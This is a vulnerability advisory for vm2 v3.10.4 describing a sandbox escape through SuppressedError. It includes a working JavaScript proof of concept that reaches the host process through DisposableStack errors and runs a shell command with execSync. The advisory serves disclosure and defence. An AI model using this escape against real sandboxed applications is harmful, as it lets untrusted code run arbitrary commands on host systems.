GHSA-55hx-c926-fr95

ghsaUSosv

VM2 Has a Sandbox Escape Issue via SuppressedError

view advisory published 2026-05-05Licence: CC-BY-4.0

In vm2 v3.10.4 on Node.js v24.13.0, `SuppressedError` allows attackers to escape the sandbox and run arbitrary code. ### PoC ```js const { VM } = require("vm2"); const vm = new VM(); vm.run(` const ds = new DisposableStack(); ds.defer(() => { throw null; }); ds.defer(() => { const e = Error(); e.name = Symbol(); e.stack; }); try { ds.dispose(); } catch(e) { const Function = e.suppressed.constructor.constructor; const process = new Function("return process;")(); const { execSync } = process.mainModule.require("node:child_process"); execSync("echo pwned", { stdio: "inherit" }); } `); ```

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describes (1)

Related CVEs.

IDseverity exploitable
CVE-2026-26332UScritical—
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